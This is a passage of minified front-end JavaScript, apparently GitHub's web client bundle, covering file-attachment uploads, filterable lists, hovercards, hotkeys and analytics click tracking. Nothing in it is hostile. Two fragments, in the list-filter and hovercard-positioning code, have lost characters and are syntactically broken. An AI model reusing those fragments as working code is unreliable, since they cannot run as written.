e.asset_upload_authenticity_token=="string"?e.asset_upload_authenticity_token:null;if(!(t&&n))return;const o=new FormData;o.append("authenticity_token",n),fetch(t,{method:"PUT",body:o,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(vo,"markComplete");async function ni(e,t){const n=ii(e,t);for(const o of e.attachments){const r=await oi(e,o,t);if(!r)return;try{await new yo(o,r).process(n)}catch{(0,c.f)(t,"upload:error",{batch:e,attachment:o}),Ae(t,"is-failed");return}}}s(ni,"upload");async function oi(e,t,n){const o=ri(t,n),r=[];(0,c.f)(n,"upload:setup",{batch:e,attachment:t,form:o,preprocess:r});try{await Promise.all(r);const i=await fetch(si(o,n));if(i.ok)return await i.json();(0,c.f)(n,"upload:invalid",{batch:e,attachment:t});const a=await i.text(),l=i.status,{state:y,messaging:w}=wo({status:l,body:a},t.file);Ae(n,y,w)}catch{(0,c.f)(n,"upload:invalid",{batch:e,attachment:t}),Ae(n,"is-failed")}return null}s(oi,"validate");function ri(e,t){const n=t.querySelector(".js-data-upload-policy-url-csrf").value,o=t.getAttribute("data-upload-repository-id"),r=t.getAttribute("data-subject-type"),i=t.getAttribute("data-subject-param"),a=e.file,l=new FormData;return l.append("name",a.name),l.append("size",String(a.size)),l.append("content_type",a.type),l.append("authenticity_token",n),r&&l.append("subject_type",r),i&&l.append("subject",i),o&&l.append("repository_id",o),e.directory&&l.append("directory",e.directory),l}s(ri,"policyForm");function si(e,t){return new Request(t.getAttribute("data-upload-policy-url"),{method:"POST",body:e,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(si,"policyRequest");function ii(e,t){return{attachmentUploadDidStart(n,o){n.saving(0),Ae(t,"is-uploading"),(0,c.f)(t,"upload:start",{batch:e,attachment:n,policy:o})},attachmentUploadDidProgress(n,o){n.saving(o),(0,c.f)(t,"upload:progress",{batch:e,attachment:n})},attachmentUploadDidComplete(n,o,r){n.saved(ai(r,o)),(0,c.f)(t,"upload:complete",{batch:e,attachment:n}),e.isFinished()&&Ae(t,"is-default")},attachmentUploadDidError(n,o){(0,c.f)(t,"upload:error",{batch:e,attachment:n});const{state:r}=wo(o);Ae(t,r)}}}s(ii,"createDelegate");function ai(e,t){const n=(e.id==null?null:String(e.id))||(t.asset.id==null?null:String(t.asset.id)),o=(typeof e.href=="string"?e.href:null)||(typeof t.asset.href=="string"?t.asset.href:null);return{id:n,href:o,name:t.asset.name}}s(ai,"savedAttributes");function wo(e,t){if(e.status===400)return{state:"is-bad-file"};if(e.status!==422)return{state:"is-failed"};const n=JSON.parse(e.body);if(!n||!n.errors)return{state:"is-failed"};for(const o of n.errors)switch(o.field){case"size":{const r=t?t.size:null;return r!=null&&r===0?{state:"is-empty"}:{state:"is-too-big",messaging:{message:ci(o.message),target:".js-upload-too-big"}}}case"file_count":return{state:"is-too-many"};case"width":case"height":return{state:"is-bad-dimensions"};case"name":return o.code==="already_exists"?{state:"is-duplicate-filename"}:{state:"is-bad-file"};case"content_type":return{state:"is-bad-file"};case"uploader_id":return{state:"is-bad-permissions"};case"repository_id":return{state:"is-repository-required"};case"format":return{state:"is-bad-format"}}return{state:"is-failed"}}s(wo,"policyErrorState");const ci=s(e=>e.startsWith("size")?e.substring(5):e,"trimSizeErrorMessage"),li=["is-default","is-uploading","is-bad-file","is-duplicate-filename","is-too-big","is-too-many","is-hidden-file","is-failed","is-bad-dimensions","is-empty","is-bad-permissions","is-repository-required","is-bad-format"];function Ae(e,t,n){if(n){const{message:o,target:r}=n,i=e.querySelector(r);i&&(i.innerHTML=o)}e.classList.remove(...li),e.classList.add(t)}s(Ae,"resetState");class Eo{constructor(t){this.attachments=t,this.size=this.attachments.length,this.total=Yt(this.attachments,n=>n.file.size)}percent(){const t=s(o=>o.file.size*o.percent/100,"bytes"),n=Yt(this.attachments,t);return Math.round(n/this.total*100)}uploaded(){const t=s(n=>n.isSaved()?1:0,"value");return Yt(this.attachments,t)}isFinished(){return this.attachments.every(t=>t.isSaved())}}s(Eo,"Batch");function Yt(e,t){return e.reduce((n,o)=>n+t(o),0)}s(Yt,"sum"),(0,u.N7)("file-attachment[hover]",{add(e){e.classList.add("dragover")},remove(e){e.classList.remove("dragover")}}),(0,c.on)("file-attachment-accept","file-attachment",function(e){const{attachments:t}=e.detail;t.length===0&&(Ae(e.currentTarget,"is-hidden-file"),e.preventDefault())}),(0,c.on)("file-attachment-accepted","file-attachment",function(e){const t=e.currentTarget.querySelector(".drag-and-drop");if(t&&t.hidden)return;const{attachments:n}=e.detail;ni(new Eo(n),e.currentTarget)});let Lo=0;(0,u.N7)("file-attachment",{add(e){Lo++===0&&(document.addEventListener("drop",So),document.addEventListener("dragover",To));const t=e.closest("form");t&&t.addEventListener("reset",Ao)},remove(e){--Lo===0&&(document.removeEventListener("drop",So),document.removeEventListener("dragover",To));const t=e.closest("form");t&&t.removeEventListener("reset",Ao)}});function jo(e){return Array.from(e.types).indexOf("Files")>=0}s(jo,"file_attachment_hasFile");function So(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(So,"onDocumentDrop");function To(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(To,"onDocumentDragover");function Ao({currentTarget:e}){const t=e.querySelector("file-attachment");Ae(t,"is-default")}s(Ao,"onFormReset");var ui=f(13002);(0,c.on)("filter-input-updated","filter-input",e=>{const t=e.currentTarget.input;if(!(document.activeElement&&document.activeElement===t))return;const{count:n,total:o}=e.detail;(0,h.x)(`Found ${n} out of ${o} ${o===1?"item":"items"}`)}),(0,c.on)("toggle","details",e=>{setTimeout(()=>di(e.target),0)},{capture:!0}),(0,c.on)("tab-container-changed","tab-container",e=>{if(!(e.target instanceof HTMLElement))return;const{relatedTarget:t}=e.detail,n=e.target.querySelector("filter-input");n instanceof ui.Z&&n.setAttribute("aria-owns",t.id)},{capture:!0});function di(e){const t=e.querySelector("filter-input");t&&!e.hasAttribute("open")&&t.reset()}s(di,"resetFilter");function Co(e,t,n,o={}){var r;const i=(r=o.limit)!=null?r:1/0;let a=0;for(const l of e.children){const y=n(l,t);y==null||(y&&a0));return S}s(Mo,"filterSortList");var en=f(25833);let tn=new AbortController;const Ze=new WeakMap,qo=new WeakMap,Ro=new WeakMap;async function fi(e,t,n,o){n&&!Ze.has(e)&&pi(e);const r=await mi(e,t,n,o);return e.hasAttribute("data-filterable-data-pre-rendered")&&(r.suggestions=hi(e,n)),r}s(fi,"getData");async function mi(e,t,n,o){const r=new URL(e.getAttribute("data-filterable-src")||"",window.location.origin);if(r.pathname==="/")throw new Error("could not get data-filterable-src");if(n){const i=Ze.get(e),a=t.trim();if(i.lastSearchText===a)return i.lastSearchResult;const l=i.lastSearchText===void 0;i.lastSearchText=a;const y=e.getAttribute("data-filterable-for")||"",w=document.getElementById(y);if(tn.abort(),a===""&&!o)i.lastSearchResult={suggestions:[],users:[]};else{tn=new AbortController;const S={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"},signal:tn.signal},R=r.searchParams||new URLSearchParams;R.set("q",t),R.set("typeAhead","true"),r.search=R.toString(),l||w==null||w.classList.add("is-loading");const I=await fetch(r.toString(),S);i.lastSearchResult=await I.json()}return w==null||w.classList.remove("is-loading"),i.lastSearchResult}else{const i={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}};return await(await fetch(r.toString(),i)).json()}}s(mi,"fetchQueryIfNeeded");function hi(e,t){const n=[],o=e.querySelectorAll(".js-filterable-suggested-user");if(o.length>0)for(const r of e.querySelectorAll(".js-filterable-suggested-user"))r.classList.remove("js-filterable-suggested-user"),n.push({name:r.querySelector(".js-description").textContent,login:r.querySelector(".js-username").textContent,selected:r.getAttribute("aria-checked")==="true",element:r,suggestion:!0});if(t){const r=Ze.get(e);return o.length>0&&(r.cachedSuggestions=n,r.userResultCache.clear()),r.cachedSuggestions}return n}s(hi,"getPreRenderedUsers");function pi(e){Ze.set(e,{lastSearchResult:{suggestions:[],users:[]},cachedSuggestions:[],userResultCache:new Map})}s(pi,"initializeTypeAheadCache");async function gi(e,t,n){var o,r;Ro.set(e,t),await(0,en.Z)();const i=e.hasAttribute("data-filterable-show-suggestion-header"),a=e.hasAttribute("data-filterable-type-ahead"),l=e.hasAttribute("data-filterable-type-ahead-query-on-empty");let y=qo.get(e);if(!y)try{y=await fi(e,t,a,l),a||qo.set(e,y)}catch(B){if(B.name==="AbortError")return-1;throw B}if(!a&&Ro.get(e)!==t)return-1;const w=n.limit,S=e.querySelector("template"),R={};for(const B of e.querySelectorAll("input[type=hidden]"))R[`${B.name}${B.value}`]=B;let I=S.nextElementSibling;for(;I;){const B=I;I=B.nextElementSibling,B instanceof HTMLElement&&(a||B.getAttribute("aria-checked")==="true"||B.classList.contains("select-menu-divider"))?B.hidden=!0:B.remove()}let F=0;const X=t.trim()==="",oe=document.createDocumentFragment(),Q=e.querySelector(".js-divider-suggestions"),se=e.querySelector(".js-divider-rest"),ce=Ze.get(e);function de(B){const G=`${B.login} ${B.name}`.toLowerCase().trim().includes(t),z=!(w!=null&&F>=w)&&G;if(z||B.selected||B.suggestion){const Z=bi(B,S,R,ce);Z.hidden=!z,z&&F++,oe.appendChild(Z)}}s(de,"addItem");let Y=!1;if(Q&&(((o=y.suggestions)==null?void 0:o.length)>0||i&&y.users.length>0)){const B=(r=y.suggestions)!=null?r:[],G=B.filter(Z=>Z.selected),z=B.filter(Z=>!Z.selected);for(const Z of G)de(Z);oe.appendChild(Q);const ee=F;for(const Z of z)de(Z);Y=F>ee,Q.hidden=!Y||a&&!X,i&&y.users.length>0&&(Q.hidden=!X)}se&&oe.appendChild(se);const He=F;for(const B of y.users)de(B);return se&&(se.hidden=He===F||!Y),e.append(oe),F}s(gi,"substringMemoryFilterList");function bi(e,t,n,o){if(e.element!=null)return e.element;if(o==null?void 0:o.userResultCache.has(e.id))return o.userResultCache.get(e.id);const r=t.content.cloneNode(!0),i=r.querySelector("input[type=checkbox], input[type=radio]");e.type&&(i.name=`reviewer_${e.type}_ids[]`),i.value=e.id;const a=`${i.name}${e.id}`;let l=e.selected;n[a]&&(l=!0,n[a].remove(),delete n[a]);const y=r.querySelector("[role^=menuitem]");l&&(y.setAttribute("aria-checked","true"),i.checked=!0),e.disabled&&y.setAttribute("aria-disabled","true");const w=r.querySelector(".js-username");w&&(w.textContent=e.login);const S=r.querySelector(".js-description");S&&(S.textContent=e.name);const R=r.querySelector(".js-extended-description");R&&(e.description?R.textContent=e.description:R.remove());const I=r.querySelector(".js-avatar");return I.className=`${I.className} ${e.class}`,I.src=e.avatar,e.element=y,o==null||o.userResultCache.set(e.id,y),e.element}s(bi,"createReviewerItem"),(0,u.N7)(".js-filterable-field",{constructor:HTMLInputElement,initialize(e){e.autocomplete||(e.autocomplete="off");const t=e.hasAttribute("type-ahead")?200:null;let n=e.value;async function o(i){n!==i.value&&(n=i.value,await(0,k.gJ)(),(0,c.f)(i,"filterable:change"))}s(o,"onInputChange");async function r(){n=e.value,await(0,k.gJ)(),(0,c.f)(e,"filterable:change")}return s(r,"onFocus"),{add(i){i.addEventListener("focus",r),(0,te.oq)(i,o,{wait:t}),document.activeElement===i&&r()},remove(i){i.removeEventListener("focus",r),(0,te.iU)(i,o)}}}}),(0,c.on)("filterable:change",".js-filterable-field",async function(e){const t=e.currentTarget,n=t.value.trim().toLowerCase(),o=document.querySelectorAll(`[data-filterable-for="${t.id}"]`);for(const r of o){const i=await vi(r,n);if(i===-1)return;document.activeElement&&t===document.activeElement&&(0,h.x)(`${i} results found.`),r.dispatchEvent(new CustomEvent("filterable:change",{bubbles:!0,cancelable:!1,detail:{inputField:t}}))}});function yi(e){return e.hasAttribute("data-filter-value")?e.getAttribute("data-filter-value").toLowerCase().trim():e.textContent.toLowerCase().trim()}s(yi,"defaultText");async function vi(e,t){const n=parseInt(e.getAttribute("data-filterable-limit"),10)||null;let o=0;switch(e.getAttribute("data-filterable-type")){case"fuzzy-prio":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=a.getAttribute("data-prio-filter-value").toLowerCase().trim(),y=a.textContent.toLowerCase().trim(),w=(0,ge.EW)(l,r)*2;let S=(0,ge.EW)(y,r);return w>S&&(S=w),S>0?{score:S,text:y}:null},"sortKey")});break}case"fuzzy":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=yi(a),y=(0,ge.EW)(l,r);return y>0?{score:y,text:l}:null},"sortKey")});break}case"substring":o=Co(e,t.toLowerCase(),Ei,{limit:n});break;case"substring-memory":o=await gi(e,t,{limit:n});break;default:o=Co(e,t.toLowerCase(),wi,{limit:n});break}return e.classList.toggle("filterable-active",t.length>0),e.classList.toggle("filterable-empty",o===0),o}s(vi,"filter");function wi(e,t){return e.textContent.toLowerCase().trim().startsWith(t)}s(wi,"prefix");function Ei(e,t){return e.hasAttribute("data-skip-substring-filter")||e.classList.contains("select-menu-no-results")?null:(e.querySelector("[data-filterable-item-text]")||e).textContent.toLowerCase().trim().includes(t)}s(Ei,"substring"),(0,c.on)("filterable:change","details-menu .select-menu-list",function(e){const t=e.currentTarget,n=t.querySelector(".js-new-item-form");n&&Li(t,n,e.detail.inputField.value)});function Li(e,t,n){const o=n.length>0&&!ji(e,n);if(e.classList.toggle("is-showing-new-item-form",o),!o)return;t.querySelector(".js-new-item-name").textContent=n;const r=t.querySelector(".js-new-item-value");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&(r.value=n)}s(Li,"toggleForm");function ji(e,t){for(const n of e.querySelectorAll("[data-menu-button-text]"))if(n.textContent.toLowerCase().trim()===t.toLowerCase())return!0;return!1}s(ji,"itemExists"),(0,u.N7)("tab-container .select-menu-list .filterable-empty, details-menu .select-menu-list .filterable-empty",{add(e){e.closest(".select-menu-list").classList.add("filterable-empty")},remove(e){e.closest(".select-menu-list").classList.remove("filterable-empty")}});const _o=navigator.userAgent.match(/Firefox\/(\d+)/);_o&&Number(_o[1])<76&&((0,u.N7)('details-menu label[tabindex][role^="menuitem"]',e=>{const t=e.querySelector("input");if(!t)return;const n=e.classList.contains("select-menu-item"),o=t.classList.contains("d-none"),r=n||o||t.hidden;n&&t.classList.add("d-block"),o&&t.classList.remove("d-none"),r&&(t.classList.add("sr-only"),t.hidden=!1),e.removeAttribute("tabindex")}),(0,c.on)("focus",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{const t=e.currentTarget.closest("label");t.classList.contains("select-menu-item")&&t.classList.add("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.add("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.add("hx_menuitem--focus"),e.currentTarget.addEventListener("blur",()=>{t.classList.contains("select-menu-item")&&t.classList.remove("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.remove("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.remove("hx_menuitem--focus")},{once:!0})},{capture:!0}),(0,j.w4)("keydown",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',async function(e){if(Po(e))e.currentTarget instanceof Element&&Si(e.currentTarget);else if(e.key==="Enter"){const t=e.currentTarget;e.preventDefault(),await(0,k.gJ)(),t instanceof HTMLInputElement&&t.click()}}),(0,c.on)("blur",'details-menu label input[role="menuitemradio"], details-menu label input[role="menuitemcheckbox"]',e=>{Io(e.currentTarget)},{capture:!0}),(0,j.w4)("keyup",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{!Po(e)||e.currentTarget instanceof Element&&Io(e.currentTarget)}));function Po(e){return e.key==="ArrowDown"||e.key==="ArrowUp"}s(Po,"isArrowKeys");function Si(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),e.setAttribute("role",t.getAttribute("data-role")),t.removeAttribute("role")}s(Si,"switchRoleToInputForNavigation");function Io(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),t.setAttribute("role",t.getAttribute("data-role")),e.removeAttribute("role")}s(Io,"switchRoleBackToOriginalState");var nn=f(11820);function Do(){document.firstElementChild.classList.contains("js-skip-scroll-target-into-view")||(0,nn.lA)(document)&&(0,nn.kc)(document)}s(Do,"scrollTargetIntoViewIfNeeded"),(0,Xt.Z)(Do),(0,c.on)("click",'a[href^="#"]',function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&setTimeout(Do,0)}),(0,c.on)("click",".js-flash-close",function(e){const t=e.currentTarget.closest(".flash-messages");e.currentTarget.closest(".flash").remove(),t&&!t.querySelector(".flash")&&t.remove()});const Ti=["flash-notice","flash-error","flash-message","flash-warn"];function Ai(e){for(const{key:t,value:n}of Ti.flatMap(Ve.$1)){(0,Ve.kT)(t);let o;try{o=atob(decodeURIComponent(n))}catch{continue}e.after(new lt.R(e,{className:t,message:o}))}}s(Ai,"displayFlash"),(0,u.N7)("template.js-flash-template",{constructor:HTMLTemplateElement,add(e){Ai(e)}});const on=new WeakMap;document.addEventListener("focus",function(e){const t=e.target;t instanceof Element&&!on.get(t)&&((0,c.f)(t,"focusin:delay"),on.set(t,!0))},{capture:!0}),document.addEventListener("blur",function(e){setTimeout(function(){const t=e.target;t instanceof Element&&t!==document.activeElement&&((0,c.f)(t,"focusout:delay"),on.delete(t))},200)},{capture:!0}),(0,C.AC)(".js-form-toggle-target",async function(e,t){try{await t.text()}catch{return}const n=e.closest(".js-form-toggle-container");n.querySelector(".js-form-toggle-target[hidden]").hidden=!1,e.hidden=!0});var Ci=f(99254);function ki(e){e instanceof CustomEvent&&(0,h.x)(`${e.detail} results found.`)}s(ki,"noticeHandler"),(0,u.N7)("fuzzy-list",{constructor:Ci.Z,subscribe:e=>(0,M.RB)(e,"fuzzy-list-sorted",ki)}),(0,c.on)("click",".email-hidden-toggle",function(e){const t=e.currentTarget.nextElementSibling;t instanceof HTMLElement&&(t.style.display="",t.classList.toggle("expanded"),e.preventDefault())});var ou=f(30479);(0,u.N7)(".js-hook-url-field",{constructor:HTMLInputElement,add(e){function t(){const n=e.form;if(!n)return;let o;try{o=new URL(e.value)}catch{}const r=n.querySelector(".js-invalid-url-notice");r instanceof HTMLElement&&(r.hidden=!!(e.value===""||o&&/^https?:/.test(o.protocol)));const i=n.querySelector(".js-insecure-url-notice");i instanceof HTMLElement&&o&&e.value&&(i.hidden=/^https:$/.test(o.protocol));const a=n.querySelector(".js-ssl-hook-fields");a instanceof HTMLElement&&(a.hidden=!(o&&o.protocol==="https:"))}s(t,"checkUrl"),(0,te.oq)(e,t),t()}});function Ho(e){const t=document.querySelectorAll(".js-hook-event-checkbox");for(const n of t)n.checked=n.matches(e)}s(Ho,"chooseEvents"),(0,c.on)("change",".js-hook-event-choice",function(e){const t=e.currentTarget,n=t.checked&&t.value==="custom",o=t.closest(".js-hook-events-field");if(o&&o.classList.toggle("is-custom",n),t.checked)if(n){const r=document.querySelector(".js-hook-wildcard-event");r.checked=!1}else t.value==="push"?Ho('[value="push"]'):t.value==="all"&&Ho(".js-hook-wildcard-event")}),(0,c.on)("click",".js-hook-deliveries-pagination-button",async function(e){const t=e.currentTarget;t.disabled=!0;const n=t.parentElement,o=t.getAttribute("data-url");n.before(await(0,pe.a)(document,o)),n.remove()}),(0,C.AC)(".js-redeliver-hook-form",async function(e,t){let n;try{n=await t.html()}catch{e.classList.add("failed");return}document.querySelector(".js-hook-deliveries-container").replaceWith(n.html)});var $e=f(11793);(0,u.N7)("[data-hotkey]",{constructor:HTMLElement,add(e){if((0,at.Ty)())(0,$e.N9)(e);else{const t=e.getAttribute("data-hotkey");if(t){const n=xi(t);n.length>0&&(e.setAttribute("data-hotkey",n),(0,$e.N9)(e))}}},remove(e){(0,$e.Tz)(e)}});function xi(e){return e.split(",").filter(n=>(0,at.YE)(n)).join(",")}s(xi,"filterOutCharacterKeyShortcuts");var rn=f(53692);let ne=document.querySelector(".js-hovercard-content");(0,u.N7)(".js-hovercard-content",e=>{ne=e});const Mi=(0,qe.Z)(pe.a);let Ce,mt=null,sn,an=0;const cn=12,ln=24,Oo=ln-7,No=16,qi=100,Ri=250;function Re(e){return"Popover-message--"+e}s(Re,"contentClass");function _i(e){setTimeout(()=>{if(document.body&&document.body.contains(e)){const t=e.querySelector("[data-hovercard-tracking]");if(t){const o=t.getAttribute("data-hovercard-tracking");o&&(0,_.q)("user-hovercard-load",JSON.parse(o))}const n=e.querySelector("[data-hydro-view]");n instanceof HTMLElement&&(0,rn.Fk)(n)}},500)}s(_i,"trackLoad");function Fe(){ne instanceof HTMLElement&&(ne.style.display="none",ne.children[0].innerHTML="",mt=null,Ce=null)}s(Fe,"hideCard");function Pi(e){const t=e.getClientRects();let n=t[0]||e.getBoundingClientRect()||{top:0,left:0,height:0,width:0};if(t.length>0){for(const o of t)if(o.leftan){n=o;break}}return n}s(Pi,"selectRectNearestMouse");function Ii(e){const{width:t,height:n}=ne.getBoundingClientRect(),{left:o,top:r,height:i,width:a}=Pi(e),l=r>n;if(e.classList.contains("js-hovercard-left")){const w=o-t-cn,S=r+i/2;return{containerTop:l?S-n+Oo+No/2:S-Oo-No/2,containerLeft:w,contentClassSuffix:l?"right-bottom":"right-top"}}else{const w=window.innerWidth-o>t,S=o+a/2,R=w?S-ln:S-t+ln;return{containerTop:l?r-n-cn:r+i+cn,containerLeft:R,contentClassSuffix:l?w?"bottom-left":"bottom-right":w?"top-left":"top-right"}}}s(Ii,"calculatePositions");function Di(e,t){if(!(ne instanceof HTMLElement))return;ne.style.visibility="hidden",ne.style.display="block",t.classList.remove(Re("bottom-left"),Re("bottom-right"),Re("right-top"),Re("right-bottom"),Re("top-left"),Re("top-right"));const{containerTop:n,containerLeft:o,contentClassSuffix:r}=Ii(e);t.classList.add(Re(r)),ne.style.top=`${n+window.pageYOffset}px`,ne.style.left=`${o+window.pageXOffset}px`,zi(e,ne),ne.style.visibility=""}s(Di,"positionCard");function Hi(e,t){if(!(ne instanceof HTMLElement))return;const n=ne.children[0];n.innerHTML="";const o=document.createElement("div");for(const r of e.children)o.appendChild(r.cloneNode(!0));n.appendChild(o),Di(t,n),_i(o),ne.style.display="block"}s(Hi,"showCard");function Oi(e){const t=e.closest("[data-hovercard-subject-tag]");if(t)return t.getAttribute("data-hovercard-subject-tag");const n=document.head&&document.head.querySelector('meta[name="hovercard-subject-tag"]');return n?n.getAttribute("content"):null}s(Oi,"determineEnclosingSubject");function Ni(e){const t=e.getAttribute("data-hovercard-url");if(t){const n=Oi(e);if(n){const o=new URL(t,window.location.origin),r=new URLSearchParams(o.search.slice(1));return r.append("subject",n),r.append("current_path",window.location.pathname+window.location.search),o.search=r.toString(),o.toString()}return t}return""}s(Ni,"hovercardUrlFromTarget");function Bi(e){const t=e.getAttribute("data-hovercard-type");return t==="pull_request"||t==="issue"?!!e.closest("[data-issue-and-pr-hovercards-enabled]"):t==="team"?!!e.closest("[data-team-hovercards-enabled]"):t==="repository"?!!e.closest("[data-repository-hovercards-enabled]"):t==="commit"?!!e.closest("[data-commit-hovercards-enabled]"):t==="project"?!!e.closest("[data-project-hovercards-enabled]"):t==="discussion"?!!e.closest("[data-discussion-hovercards-enabled]"):t==="acv_badge"?!!e.closest("[data-acv-badge-hovercards-enabled]"):t==="sponsors_listing"?!!e.closest("[data-sponsors-listing-hovercards-enabled]"):!0}s(Bi,"hovercardsAreEnabledForType");async function $i(e,t){if("ontouchstart"in document)return;const o=e.currentTarget;if(e instanceof MouseEvent&&(an=e.clientX),!(o instanceof Element)||Ce===o||o.closest(".js-hovercard-content")||!Bi(o))return;Fe(),Ce=o,mt=document.activeElement;const r=Ni(o);let i;try{const a=new Promise(l=>window.setTimeout(l,t,0));i=await Mi(document,r),await a}catch(a){const l=a.response;if(l&&l.status===404){const y="Hovercard is unavailable";o.setAttribute("aria-label",y),o.classList.add("tooltipped","tooltipped-ne")}else if(l&&l.status===410){const y=await l.clone().json();o.setAttribute("aria-label",y.message),o.classList.add("tooltipped","tooltipped-ne")}return}o===Ce&&(Hi(i,o),e instanceof KeyboardEvent&&ne instanceof HTMLElement&&ne.focus())}s($i,"activateFn");function Fi(e){$i(e,Ri)}s(Fi,"activateWithTimeoutFn");function un(e){if(!!Ce){if(e instanceof MouseEvent&&e.relatedTarget instanceof HTMLElement){const t=e.relatedTarget;if(t.closest(".js-hovercard-content")||t.closest("[data-hovercard-url]"))return}else e instanceof KeyboardEvent&&mt instanceof HTMLElement&&mt.focus();Fe()}}s(un,"deactivateFn");function Ui(e){const t=Ce;sn=window.setTimeout(()=>{Ce===t&&un(e)},qi)}s(Ui,"deactivateWithTimeoutFn");function Bo(e){if(e instanceof KeyboardEvent)switch(e.key){case"Escape":un(e)}}s(Bo,"keyupFn");function Wi(){sn&&clearTimeout(sn)}s(Wi,"cancelDeactivation"),ne&&((0,u.N7)("[data-hovercard-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Fi),(0,M.RB)(e,"mouseleave",Ui),(0,M.RB)(e,"keyup",Bo))}),(0,u.N7)("[data-hovercard-url]",{remove(e){Ce===e&&Fe()}}),(0,u.N7)(".js-hovercard-content",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Wi),(0,M.RB)(e,"mouseleave",un),(0,M.RB)(e,"keyup",Bo))}),(0,c.on)("menu:activated","details",Fe),window.addEventListener("turbo:load",Fe),window.addEventListener("statechange",Fe));function zi(e,t){const n=e.getAttribute("data-hovercard-z-index-override");n?t.style.zIndex=n:t.style.zIndex="100"}s(zi,"setZIndexOverride"),async function(){document.addEventListener("pjax:complete",()=>(0,_.Y)({pjax:"true"})),document.addEventListener("soft-nav:success",()=>(0,_.Y)({turbo:"true"})),await me.C,(0,_.Y)()}(),(0,c.on)("click","[data-octo-click]",function(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;const n=t.getAttribute("data-octo-click")||"",o={};if(t.hasAttribute("data-ga-click")){const i=t.getAttribute("data-ga-click").split(",");o.category=i[0].trim(),o.action=i[1].trim()}if(t.hasAttribute("data-octo-dimensions")){const r=t.getAttribute("data-octo-dimensions").split(",");for(const i of r){const[a,l]=i.split(/:(.+)/);a&&(o[a]=l||"")}}(0,_.q)(n,o)});var $o=f(84818);const{getItem:su}=(0,$o.Z)("localStorage");function Fo(e,t){var n,o}s(Fo,"debugPayload"),(0,c.on)("click","[data-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-hydro-click")||"",o=t.getAttribute("data-hydro-click-hmac")||"",r=t.getAttribute("data-hydro-client-context")||"";Fo("hydro-debug.click",n),(0,rn.$S)(n,o,r)}),(0,c.on)("click","[data-optimizely-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-optimizely-hydro-click")||"",o=t.getAttribute("data-optimizely-hydro-click-hmac")||"";Fo("hydro-debug.optimizely",n),(0,rn.$S)(n,o,"")}),(0,C.AC)(".js-immediate-updates",async function(e,t){let n;try{n=(await t.json()).json.updateContent}catch(o){o.response.json&&(n=o.response.json.updateContent)}if(n)for(const o in n){const r=n[o],i=document.querySelector(o);i instanceof HTMLElement&&(0,Me.Of)(i,r)}}),document.addEventListener("DOMContentLoaded",Ki);async function Ki(){if((0,U.c)("IMAGE_METRIC_TRACKING")===!1)return;const e=Array.from(document.querySelectorAll("img.js-img-time")).slice(0,5),t=Date.now(),n=[];await Promise.all(e.map(o=>Vi(o,t,n))),n.length>0&&(0,he.b)({transparentRedirectTimings:n})}s(Ki,"onDOMContentLoaded");async function Vi(e,t,n){const o=/\/assets\/storage\/user\/([0-9]+)\/files\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,r=/assets\/([0-9]+)\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,i=e.getAttribute("src");if(!i)return;const a=new URL(i,window.location.origin),l=o.test(a.pathname)?o:r,[,y,w]=a.pathname.match(l)||[];if(!y||!w)return;await fetch(`/assets/measure/${y}/${w}`);const R={duration:Date.now()-t,fileGUID:w,userID:y};n.push(R)}s(Vi,"measureRedirectTiming"),(0,u.N7)("[data-indeterminate]",{constructor:HTMLInputElement,initialize(e){e.indeterminate=!0}});var Xi=f(51244);function Gi(){f.e("app_assets_modules_github_jump-to_ts").then(f.bind(f,35653))}s(Gi,"load"),(0,u.N7)(".js-jump-to-field",{constructor:HTMLInputElement,add(e){e.addEventListener("focusin",Gi,{once:!0}),(0,Xi.Nc)(window.location.pathname)}});let dn=!1;async function Uo(){if(dn)return;dn=!0;const t={contexts:document.querySelector("meta[name=github-keyboard-shortcuts]").content},n=`/site/keyboard_shortcuts?${new URLSearchParams(t).toString()}`,o=await(0,Te.W)({content:(0,pe.a)(document,n),labelledBy:"keyboard-shortcuts-heading"});o.style.width="800px",o.addEventListener("dialog:remove",function(){dn=!1},{once:!0})}s(Uo,"showKeyboardShortcuts"),(0,c.on)("click",".js-keyboard-shortcuts",Uo),document.addEventListener("keydown",e=>{e instanceof KeyboardEvent&&(!(0,at.Zf)(e)||e.target instanceof Node&&(0,L.sw)(e.target)||(0,$e.EL)(e)==="Shift+?"&&Uo())}),(0,u.N7)(".js-modifier-key",{constructor:HTMLElement,add(e){if(/Macintosh/.test(navigator.userAgent)){let t=e.textContent;t&&(t=t.replace(/ctrl/,"\u2318"),t=t.replace(/alt/,"\u2325"),e.textContent=t)}}}),(0,u.N7)(".js-modifier-label-key",{add(e){var t;let n=(t=e.textContent)==null?void 